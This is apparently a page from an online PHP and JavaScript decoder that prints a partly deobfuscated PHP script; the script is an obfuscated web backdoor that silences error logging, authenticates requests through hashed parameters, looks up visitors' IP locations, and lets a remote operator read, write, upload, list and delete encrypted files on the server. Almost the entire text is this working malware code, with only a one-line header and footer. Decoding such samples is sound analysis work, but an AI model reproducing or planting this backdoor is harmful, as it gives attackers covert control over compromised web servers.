Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


	function _479097832($i){
	$a=Array("AES-192-OFB","SERVER_NAME","AES-192-OFB","SERVER_NAME",'Europe/London','display_errors','log_errors','upload_max_filesize','150000M','post_max_size','150000M','max_input_time','max_execution_time',"37de838573b7ef99ca42a7b88b9da6de","DCOwned","8a7a323a3bdd512c","2d447593dd149a2bbe321d4281a7ce159a5ca759","-","SERVER_NAME","gettoken","SERVER_NAME","gettoken","SERVER_NAME",'HTTP_CLIENT_IP','HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED_FOR','REMOTE_ADDR',"SERVER_NAME","token","SERVER_NAME","tkn","SERVER_NAME","token_uid","SERVER_NAME","status","SERVER_NAME","OK","SERVER_NAME","workdir","SERVER_NAME","ipinfo","http://www.geoplugin.net/json.gp?ip=","SERVER_NAME","status","SERVER_NAME","WRONG","SERVER_NAME","SERVER_NAME","val","SERVER_NAME","password","SERVER_NAME","password","SERVER_NAME","status","SERVER_NAME","OK","SERVER_NAME","workdir","SERVER_NAME","token","SERVER_NAME","tkn","SERVER_NAME","status","SERVER_NAME","WRONG","SERVER_NAME","SERVER_NAME","val","SERVER_NAME","token","SERVER_NAME","token","SERVER_NAME","token","SERVER_NAME","tkn","SERVER_NAME","token_uid","SERVER_NAME","getdata","SERVER_NAME","getdata","SERVER_NAME","name",,"","SERVER_NAME","extension","SERVER_NAME","token_uid","php","html","htm","htaccess","xhtml","mhtml","mhtm","mht","js","SERVER_NAME","SERVER_NAME","/","SERVER_NAME","setdata","SERVER_NAME","setdata","SERVER_NAME","name",,"","SERVER_NAME","extension","SERVER_NAME","data","SERVER_NAME","token_uid","php","html","htm","htaccess","xhtml","mhtml","mhtm","mht","js","/","SERVER_NAME","downloadsafefile_name","SERVER_NAME","downloadsafefile_name",'extension',"php","html","htm","htaccess","xhtml","mhtml","mhtm","mht","js","/","SERVER_NAME","uploadsafefile_name","SERVER_NAME","uploadsafefile_name",'extension',"tmp_name","php","html","htm","htaccess","xhtml","mhtml","mhtm","mht","js","/","SERVER_NAME","uploadfile_name","SERVER_NAME","uploadfile_name",'extension',"php","html","htm","htaccess","xhtml","mhtml","mhtm","mht","js","tmp_name","/","SERVER_NAME","adddata","SERVER_NAME","adddata","SERVER_NAME","name",,"","SERVER_NAME","extension","SERVER_NAME","data","SERVER_NAME","token_uid","php","html","htm","htaccess","xhtml","mhtml","mhtm","mht","js","/","/","SERVER_NAME","getallbyext","SERVER_NAME","getallbyext","SERVER_NAME","extension","SERVER_NAME","getdata","SERVER_NAME","additionaldata","php","html","htm","htaccess","xhtml","mhtml","mhtm","mht","js","/*","SERVER_NAME","name","SERVER_NAME","data","SERVER_NAME","lastmodificationtime","d.m-H:i","SERVER_NAME","nowtime","d.m-H:i","SERVER_NAME","additionaldata","SERVER_NAME","/","SERVER_NAME","delallbyname","SERVER_NAME","delallbyname","SERVER_NAME","name","/","*");
	return $a[$i];
}
	function l_($_,$__){
	return openssl_encrypt($_,_479097832(0),$__,$___=round(0),$_SERVER[_479097832(1)]);
}
	function l__($_,$____){
	return openssl_decrypt($_,_479097832(2),$____,$___=round(0),$_SERVER[_479097832(3)]);
}
date_default_timezone_set(_479097832(4));
error_reporting(round(0));
ini_set(_479097832(5),round(0));
ini_set(_479097832(6),round(0));
ini_set(_479097832(7),_479097832(8));
ini_set(_479097832(9),_479097832(10));
ini_set(_479097832(11),round(0+300));
ini_set(_479097832(12),round(0+75+75+75+75));
$_____=sha1(_479097832(13));
$______=_479097832(14);
$_______=_479097832(15);
$________=_479097832(16);
$_________=_479097832(17);
	if(isset($_GET[md5($_SERVER[_479097832(18)] ._479097832(19))])){
		if($_GET[md5($_SERVER[_479097832(20)] ._479097832(21))]== md5($_SERVER[_479097832(22)])){
		$__________=rand(round(0+2000+2000+2000+2000+2000),round(0+19999.8+19999.8+19999.8+19999.8+19999.8));
			while(true){
			if(($__________%round(0+2))== round(0))break;
			$__________=rand(round(0+2000+2000+2000+2000+2000),round(0+24999.75+24999.75+24999.75+24999.75));
		}
			if(!empty($_SERVER[_479097832(23)])){
			$___________=$_SERVER[_479097832(24)];
		}
			elseif(!empty($_SERVER[_479097832(25)])){
			$___________=$_SERVER[_479097832(26)];
		}
			else{
			$___________=$_SERVER[_479097832(27)];
		}
		$____________[md5($_SERVER[_479097832(28)] ._479097832(29))]=$__________ .crc32($______ .$_____ .$________) .sha1($_SERVER[_479097832(30)] ._479097832(31) .base64_decode(strrev($_GET[md5($_SERVER[_479097832(32)] ._479097832(33))])));
		$____________[md5($_SERVER[_479097832(34)] ._479097832(35))]=md5($_SERVER[_479097832(36)] ._479097832(37));
		$____________[md5($_SERVER[_479097832(38)] ._479097832(39))]=strrev(base64_encode(strrev($_______)));
		$____________[md5($_SERVER[_479097832(40)] ._479097832(41))]=strrev(base64_encode(strrev(file_get_contents(_479097832(42) .$___________))));
	}
		else{
		$____________[md5($_SERVER[_479097832(43)] ._479097832(44))]=md5($_SERVER[_479097832(45)] ._479097832(46));
	}
	$_____________=rand(round(0+1),round(0+3+3+3+3+3));
	for($______________=round(0);
	$______________<$_____________;
		$______________++){
		$_______________=md5($_SERVER[_479097832(47)] .$_____________);
		if(array_key_exists($_______________,$____________))continue;
		$____________[$_______________]=md5($_SERVER[_479097832(48)] ._479097832(49) .$_____________);
	}
	echo(strrev(base64_encode(json_encode($____________))));
	return;
}
	elseif(isset($_GET[md5($_SERVER[_479097832(50)] ._479097832(51))])){
		if($_GET[md5($_SERVER[_479097832(52)] ._479097832(53))]== $_____){
		$__________=rand(round(0+3333.3333333333+3333.3333333333+3333.3333333333),round(0+19999.8+19999.8+19999.8+19999.8+19999.8));
			while(true){
			if(($__________%round(0+0.66666666666667+0.66666666666667+0.66666666666667))== round(0+0.2+0.2+0.2+0.2+0.2))break;
			$__________=rand(round(0+2500+2500+2500+2500),round(0+99999));
		}
		$____________[md5($_SERVER[_479097832(54)] ._479097832(55))]=md5($_SERVER[_479097832(56)] ._479097832(57));
		$____________[md5($_SERVER[_479097832(58)] ._479097832(59))]=strrev(base64_encode(strrev($_______)));
		$____________[md5($_SERVER[_479097832(60)] ._479097832(61))]=$__________ .crc32($______ .$_____ .$________) .sha1($_SERVER[_479097832(62)] ._479097832(63));
	}
		else{
		$____________[md5($_SERVER[_479097832(64)] ._479097832(65))]=md5($_SERVER[_479097832(66)] ._479097832(67));
	}
	$_____________=rand(round(0+0.33333333333333+0.33333333333333+0.33333333333333),round(0+5+5+5));
	for($______________=round(0);
	$______________<$_____________;
		$______________++){
		$_______________=md5($_SERVER[_479097832(68)] .$_____________);
		if(array_key_exists($_______________,$____________))continue;
		$____________[$_______________]=md5($_SERVER[_479097832(69)] ._479097832(70) .$_____________);
	}
	echo(strrev(base64_encode(json_encode($____________))));
	return;
}
$________________=false;
	if(isset($_GET[md5($_SERVER[_479097832(71)] ._479097832(72))])){
		if((intval(substr(base64_decode(strrev($_GET[md5($_SERVER[_479097832(73)] ._479097832(74))])),round(0),round(0+5)))%round(0+1+1))== round(0+0.5+0.5)){
		$________________=true;
	}
		elseif(substr(base64_decode(strrev($_GET[md5($_SERVER[_479097832(75)] ._479097832(76))])),round(0+1+1+1+1+1))== crc32($______ .$_____ .$________) .sha1($_SERVER[_479097832(77)] ._479097832(78) .sha1(base64_decode(strrev($_GET[md5($_SERVER[_479097832(79)] ._479097832(80))]))))){
		$________________=false;
	}
		else{
		return;
	}
}
	else{
	return;
}
	if(!empty($_GET[md5($_SERVER[_479097832(81)] ._479097832(82))])){
	$____________=array();
	$_________________=json_decode(base64_decode(strrev($_GET[md5($_SERVER[_479097832(83)] ._479097832(84))])),true);
		foreach($_________________ as $__________________){
		$___________________=$__________________[md5($_SERVER[_479097832(85)] ._479097832(86))];
		$____________________=str_replace(_479097832(87),_479097832(88),$__________________[md5($_SERVER[_479097832(89)] ._479097832(90))]);
			if(!$________________){
				if(sha1($___________________)!= base64_decode(strrev($_GET[md5($_SERVER[_479097832(91)] ._479097832(92))]))){
				return;
			}
		}
		if($____________________ == _479097832(93)or $____________________ == _479097832(94)or $____________________ == _479097832(95)or $____________________ == _479097832(96)or $____________________ == _479097832(97)or $____________________ == _479097832(98)or $____________________ == _479097832(99)or $____________________ == _479097832(100)or $____________________ == _479097832(101))continue;
		$____________[md5($_SERVER[_479097832(102)] .$___________________)][md5($_SERVER[_479097832(103)] .$____________________)]=base64_encode(l__(file_get_contents($_______ ._479097832(104) .$___________________ .$_________ .$____________________),md5($___________________ .crc32($______ .$_____ .$________))));
	}
	echo(strrev(base64_encode(json_encode($____________))));
}
	if(!empty($_GET[md5($_SERVER[_479097832(105)] ._479097832(106))])){
	$_____________________=json_decode(base64_decode(strrev($_GET[md5($_SERVER[_479097832(107)] ._479097832(108))])),true);
		foreach($_____________________ as $__________________){
		$___________________=$__________________[md5($_SERVER[_479097832(109)] ._479097832(110))];
		$____________________=str_replace(_479097832(111),_479097832(112),$__________________[md5($_SERVER[_479097832(113)] ._479097832(114))]);
		$______________________=base64_decode($__________________[md5($_SERVER[_479097832(115)] ._479097832(116))]);
			if(!$________________){
				if(sha1($___________________)!= base64_decode(strrev($_GET[md5($_SERVER[_479097832(117)] ._479097832(118))]))or strlen($___________________)!= round(0+20+20)or strlen($____________________)!= round(0+13.333333333333+13.333333333333+13.333333333333)){
				return;
			}
		}
		if(!ctype_print($____________________)or!ctype_print($___________________)or $____________________ == _479097832(119)or $____________________ == _479097832(120)or $____________________ == _479097832(121)or $____________________ == _479097832(122)or $____________________ == _479097832(123)or $____________________ == _479097832(124)or $____________________ == _479097832(125)or $____________________ == _479097832(126)or $____________________ == _479097832(127))continue;
		file_put_contents($_______ ._479097832(128) .$___________________ .$_________ .$____________________,l_($______________________,md5($___________________ .crc32($______ .$_____ .$________))));
	}
}
	if(!empty($_GET[md5($_SERVER[_479097832(129)] ._479097832(130))])){
	$_______________________=base64_decode(strrev($_GET[md5($_SERVER[_479097832(131)] ._479097832(132))]));
	$________________________=pathinfo($_______________________)[_479097832(133)];
		if($________________________ == null){
		$________________________=explode($_________,$_______________________)[round(0+0.25+0.25+0.25+0.25)];
	}
	if($________________________ == _479097832(134)or $________________________ == _479097832(135)or $________________________ == _479097832(136)or $________________________ == _479097832(137)or $________________________ == _479097832(138)or $________________________ == _479097832(139)or $________________________ == _479097832(140)or $________________________ == _479097832(141)or $________________________ == _479097832(142))return;
	echo(l__(file_get_contents($_______ ._479097832(143) .$_______________________),md5($_______________________ .crc32($______ .$_____ .$________))));
}
	if(!empty($_POST[md5($_SERVER[_479097832(144)] ._479097832(145))])){
	$_______________________=base64_decode(strrev($_POST[md5($_SERVER[_479097832(146)] ._479097832(147))]));
	$________________________=pathinfo($_______________________)[_479097832(148)];
		if($________________________ == null){
		$________________________=explode($_________,$_______________________)[round(0+0.33333333333333+0.33333333333333+0.33333333333333)];
	}
	$______________________=file_get_contents($_FILES[md5($_______________________)][_479097832(149)]);
	if(!ctype_print($_______________________)or $________________________ == _479097832(150)or $________________________ == _479097832(151)or $________________________ == _479097832(152)or $________________________ == _479097832(153)or $________________________ == _479097832(154)or $________________________ == _479097832(155)or $________________________ == _479097832(156)or $________________________ == _479097832(157)or $________________________ == _479097832(158))return;
	file_put_contents($_______ ._479097832(159) .$_______________________,l_($______________________,md5($_______________________ .crc32($______ .$_____ .$________))));
}
	if(!empty($_POST[md5($_SERVER[_479097832(160)] ._479097832(161))])){
	$_______________________=base64_decode(strrev($_POST[md5($_SERVER[_479097832(162)] ._479097832(163))]));
	$________________________=pathinfo($_______________________)[_479097832(164)];
		if($________________________ == null){
		$________________________=explode($_________,$_______________________)[round(0+0.5+0.5)];
	}
	if(!ctype_print($_______________________)or $________________________ == _479097832(165)or $________________________ == _479097832(166)or $________________________ == _479097832(167)or $________________________ == _479097832(168)or $________________________ == _479097832(169)or $________________________ == _479097832(170)or $________________________ == _479097832(171)or $________________________ == _479097832(172)or $________________________ == _479097832(173))return;
	move_uploaded_file($_FILES[md5($_______________________)][_479097832(174)],$_______ ._479097832(175) .$_______________________);
}
	if(!empty($_GET[md5($_SERVER[_479097832(176)] ._479097832(177))])){
	$_________________________=json_decode(base64_decode(strrev($_GET[md5($_SERVER[_479097832(178)] ._479097832(179))])),true);
		foreach($_________________________ as $__________________){
		$___________________=$__________________[md5($_SERVER[_479097832(180)] ._479097832(181))];
		$____________________=str_replace(_479097832(182),_479097832(183),$__________________[md5($_SERVER[_479097832(184)] ._479097832(185))]);
		$______________________=base64_decode($__________________[md5($_SERVER[_479097832(186)] ._479097832(187))]);
			if(!$________________){
				if(sha1($___________________)!= base64_decode(strrev($_GET[md5($_SERVER[_479097832(188)] ._479097832(189))]))or strlen($___________________)!= round(0+10+10+10+10)or strlen($____________________)!= round(0+13.333333333333+13.333333333333+13.333333333333)){
				return;
			}
		}
		if(!ctype_print($____________________)or!ctype_print($___________________)or $____________________ == _479097832(190)or $____________________ == _479097832(191)or $____________________ == _479097832(192)or $____________________ == _479097832(193)or $____________________ == _479097832(194)or $____________________ == _479097832(195)or $____________________ == _479097832(196)or $____________________ == _479097832(197)or $____________________ == _479097832(198))continue;
		file_put_contents($_______ ._479097832(199) .$___________________ .$_________ .$____________________,l_(l__(file_get_contents($_______ ._479097832(200) .$___________________ .$_________ .$____________________),md5($___________________ .crc32($______ .$_____ .$________))) .$______________________,md5($___________________ .crc32($______ .$_____ .$________))));
	}
}
	if(!empty(base64_decode(strrev($_GET[md5($_SERVER[_479097832(201)] ._479097832(202))])))and $________________ == true){
	$____________=array();
	$__________________________=json_decode(base64_decode(strrev($_GET[md5($_SERVER[_479097832(203)] ._479097832(204))])),true);
	$____________________=$__________________________[md5($_SERVER[_479097832(205)] ._479097832(206))];
	$_________________=$__________________________[md5($_SERVER[_479097832(207)] ._479097832(208))];
	$___________________________=$__________________________[md5($_SERVER[_479097832(209)] ._479097832(210))];
	if($____________________ == _479097832(211)or $____________________ == _479097832(212)or $____________________ == _479097832(213)or $____________________ == _479097832(214)or $____________________ == _479097832(215)or $____________________ == _479097832(216)or $____________________ == _479097832(217)or $____________________ == _479097832(218)or $____________________ == _479097832(219))return;
	$____________________________=glob($_______ ._479097832(220) .$_________ .$____________________);
		foreach($____________________________ as $__________________){
		$_____________________________=basename($__________________,$_________ .$____________________);
		$____________[$_____________________________][md5($_SERVER[_479097832(221)] ._479097832(222))]=$_____________________________;
			if($_________________ == true){
			$____________[$_____________________________][md5($_SERVER[_479097832(223)] ._479097832(224))]=base64_encode(l__(file_get_contents($__________________),md5($_____________________________ .crc32($______ .$_____ .$________))));
			$____________[$_____________________________][md5($_SERVER[_479097832(225)] ._479097832(226))]=base64_encode(date(_479097832(227),filemtime($__________________)));
			$____________[$_____________________________][md5($_SERVER[_479097832(228)] ._479097832(229))]=base64_encode(date(_479097832(230)));
		}
			if(count($___________________________)>round(0)){
				foreach($___________________________ as $______________________________){
				$_______________________________=base64_decode($______________________________);
				$____________[$_____________________________][md5($_SERVER[_479097832(231)] ._479097832(232))][md5($_SERVER[_479097832(233)] .$_______________________________)]=base64_encode(l__(file_get_contents($_______ ._479097832(234) .$_____________________________ .$_________ .sha1($_______________________________ .$_____________________________)),md5($_____________________________ .crc32($______ .$_____ .$________))));
			}
		}
	}
	echo(strrev(base64_encode(json_encode($____________))));
}
	if(!empty(base64_decode(strrev($_GET[md5($_SERVER[_479097832(235)] ._479097832(236))])))and $________________ == true){
	$________________________________=json_decode(base64_decode(strrev($_GET[md5($_SERVER[_479097832(237)] ._479097832(238))])),true);
		foreach($________________________________ as $__________________){
		$___________________=$__________________[md5($_SERVER[_479097832(239)] ._479097832(240))];
		$____________________________=glob($_______ ._479097832(241) .$___________________ .$_________ ._479097832(242));
			foreach($____________________________ as $__________________){
			unlink($__________________);
		}
	}
}



© 2023 Quttera Ltd. All rights reserved.